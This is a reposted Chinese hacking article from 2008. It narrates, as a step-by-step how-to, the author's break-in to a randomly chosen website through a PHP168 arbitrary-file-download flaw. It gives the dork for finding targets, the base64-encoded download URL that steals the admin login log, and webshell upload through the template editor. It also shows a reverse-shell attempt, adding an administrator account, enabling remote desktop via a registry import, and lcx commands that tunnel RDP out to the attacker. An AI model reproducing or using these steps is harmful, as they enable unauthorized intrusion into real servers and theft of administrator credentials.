最火下载站首页
手机版
最火下载站
关注公众号
最火下载站

当前位置:首页 >资讯教程 >软件资讯 > 由PHP168任意文件下载0DAY到服务器提权

由PHP168任意文件下载0DAY到服务器提权

文章作者:网友投稿 发布时间:2008-12-05 来源:网络

本人菜鸟一个,从来没有搞过PHP的,每次遇到PHP网站便鸣金收兵(真切的感受到没有技术的悲哀)。最近听说PHP168爆出了任意文件下载漏洞,于是我便萌生了研究的想法(总是躲着也不是办法呀)。到网上搜了资料看了半天,结果还是一头雾水,最后请教了一下我的好哥们儿“Dream an end”,听完他的讲解我才如梦初醒,令我吃惊的是这样的漏洞严重到不可饶恕,我随便找了一个网站测试了一下,竟然意外的拿下了该服务器的3389权限。

1.PHP168任意文件下载漏洞原理

这里说明一下,这个漏洞出现在网站根目录下的job.php文件,这个文件原本是提供下载文件附件功能的,可是在对参数进行处理时出现了问题,这就导致我们可以下载网站目录下的所有文件,而且在/cache/adminlogin_logs.php文件里保存着网站管理员的登陆日志,管理员的账号和密码也都会记录在里面,我们可以利用PHP168的这个漏洞直接将/cache/adminlogin_logs.php这个文件下载到本地。

2.使用simplegoog工具搜索使用PHP168系统的网站
闲话少说,大家看我操作。首先要搜一下使用php168系统的网站,直接用Google,百度又慢又累人,这里我介绍大家一款叫做simplegoogl的工具(http://www.antian365.com/bbs/forumdisplay.php?fid=180),直接在搜索框输入“powered by PHP168 inurl:job.php”点搜索,如图1所示。 

  
图1使用simplegoog工具搜索结果

3.使用转换工具进行Base64地址转换

在simplegoog工具右边出来一大批链接网址,可以根据需要选择去除重复和保存URL的功能。随便点了一个网站,直接访问漏洞文件http://xxxx/job.php,结果返回一片空白,这说明漏洞文件是存在的。由于job.php文件的url=后面接收的参数需要经过base64加密,所以我们用工具转换一下,转换结果如图2所示。

  
图2使用转换工具转换base64地址

4.下载任意php文件

我们把这段密文当作参数传递给job.php文件,在地址栏里输入http://xxxx/job.php?job=download&url=aHR0cDovL3h4eHgvL2NhY2hlL2FkbWlubG9naW5fbG9ncy5waHA=,直接弹出文件下载提示,如图3所示。

 
图3下载adminlogin_logs.php文件
#p#分页标题#e#

5.使用记事本编辑adminlogin_logs.php文件

将adminlogin_logs.php文件保存到桌面,然后用记事本打开,就能得到很多管理员登陆信息。如图4所示。

 
图4获取管理员登录密码md5值

6.破解管理员的md5密码值和登录网站后台

把上图的密码散列拿到md5网站上跑一下,运气好的话就可以登陆后台了。PHP168的后台路径默认在admin目录里,我们访问http://xxxx/admin/,输入用户名密码以后轻松的进入后台管理页面。如图5所示。现在很多使用PHP168的网站都存在这个下载文件的漏洞。

 
图5登录网站后台

7.获取网站系统的Webshell

接下来就要想办法拿Webshell啦,我粗略的看了一下后台,发现PHP168后台的功能还是比较强大的,同时也预示着我们拿下Webshell的可能性增加了。

我尝试着在添加文章里上传PHP木马,结果很自然地提示文件格式错误,我又试着上传asp,asa文件,结果依然是文件格式错误,不过我在网站核心设置里找到一个添加会员上传文件类型的功能,直接添加php类型,然后到前台注册一个会员,然后上传PHP木马。结果还是提示格式错误,看来上传PHP木马这条路是行不通的。

继续查看后台的其他功能,选择独立页面管理,里面竟然有增加页面选项(貌似一个Webshell的突破口),点击进入,在内容处写入我们的PHP木马,网页名称我们填写123.php然后提交。结果让我喜出望外,竟然提示创建成功,我迫不及待的打开该网页,令我郁闷的是文本原样输出。如图6所示。

 
图6 获取Webshell失败

正在我感到无奈的时候,我突然发现后台还有模板设置的功能,直接添加模板,然后点击修改模板,模板名称改成templa.php,内容填入我们的PHP木马。如图7所示。

 
图7通过模板来获得突破
#p#分页标题#e#

然后提交。这里记下模板的路径,然后访问http://xxxx/template/default/templa.php文件成功访问,输入密码后,熟悉的界面再一次跳入眼帘。如图8所示。Webshell至此已经完全拿下。

 
图8 获得真正的webshell

8.尝试提升系统权限

对于我来说并不满足于上面的成果,能够拿到网站最高权限才是王道,用Webshell的目录浏览功能跳了下C盘目录,结果成功跳转,不过没什么发现。查看一下D盘,目录成功读出,在D盘我看到了Serv-U目录。如图9所示。

 
图9获取系统Serv-U路径等信息

我尝试着利用Serv-U添加一个密码用户名都为heart的用户。如图10所示。

 
图10使用Serv-U直接添加用户

9.使用udf提升系统权限

然而结果是命令一直没有完成。我想用系统命令查看一下用户是否加上,却发现命令仍然无法执行(我当时还以为Serv-U密码改了呢)。于是我便换了一条思路,开始用udf提权。首先用nc在本地本地监听5438端口,由于我是内网的,所以还要做一下端口映射。然后用Webshell自带的功能反弹Shell。如图11所示。 

  
图11利用udf提升权限

返回端口填nc监听的端口,IP用本地IP,这里最重要的是数据库密码,PHP168的数据库密码放在/php168/mysql_config.php文件里,还是利用任意文件下载漏洞将其下载到本地执行。令我失望的是,在我重复了n遍以后命令还是无法执行,我想应该是我放弃的时候了,毕竟PHP提权本来我就不在行。#p#分页标题#e#

10.直接上传PHP大马

不过一直在我身后支持我的哥们儿——“孤水绕城”提醒我换一个大马试一试,并顺手把他经常用的angle写的PHP木马给了我,把新的木马传上去以后,系统命令依然无法执行,反弹Shell也不成功,不过我发现这个木马在执行系统命令时多了一个选项。如图12所示。 

  
图12新木马中的好东东

在这里我选择用wscript试一下,执行命令net user,竟然成功了。如图13所示。

 
图13使用新功能添加用户成功

11.查看系统开放端口和打开3389远程终端

没想到这个英文的木马这么好用,而且我还发现系统里竟然有一个heart用户,应该是我刚才用Serv-U加进去的,只是没有返回罢了。我又看了一下系统开放的端口,端口开的挺多只是没有3389。如图14所示。 

 
图14查看网络端口开放情况

我传了几个开3389的程序上去,结果都难逃被杀的命运。最后我找到一个同样功能的注册表文件3389.reg,上传到服务器C:\WINDOWS\Temp目录(这个目录IUSER权限的用户可读写),用PHP的wscript后执行“reg import C:\WINDOWS\Temp\3389.reg”试了下,3389成功开放如图15所示。

 
图15开放3389端口

难道现在大马已经是系统权限的了,赶紧用IISPutScanner扫了下该网站。原来是Apache搭建的PHP环境,大家都知道Windows 2003+Apache+PHP如果以“LocalSystem”启动的话默认的PHP就具有最高权限。这下不用Serv-U来执行命令了。#p#分页标题#e#

执行“net localgroup admininstrators  heart /add”命令把heart用户添加到Administrators组里面,进行远程桌面连接。

12.使用端口转发程序成功进入该服务器

本来以为本次入侵已经告一段落了,可是在我等了很长时间以后,竟然提示连接失败。根据以往的入侵经验,八成是被防火墙拦下了。看来只能进行端口转发了,找一个免杀的lcx传上去,本地执行“lcx –listen 110 1987”命令,服务器上执行“lcx  –slave 本地ip  110  服务器ip 3389命令”然后用远程桌面连接本机的1987端口,顺利的进入远程桌面。如图16所示。

 
图16.成功连入服务器

最后总结下,本文只是作为一个菜鸟的学习心得,希望大家能够多关注网络安全,多关注antian365——这个默默无闻为网络安全洒下辛劳与汗水的团队。

【51CTO.COM 独家特稿,转载请注明出处及作者!】

上一篇: Google Reader 更新界面、升级好友共享、折叠导航菜单

下一篇: 彻底解决网页图片过多IE浏览器失去响应

共有0条评论网友评论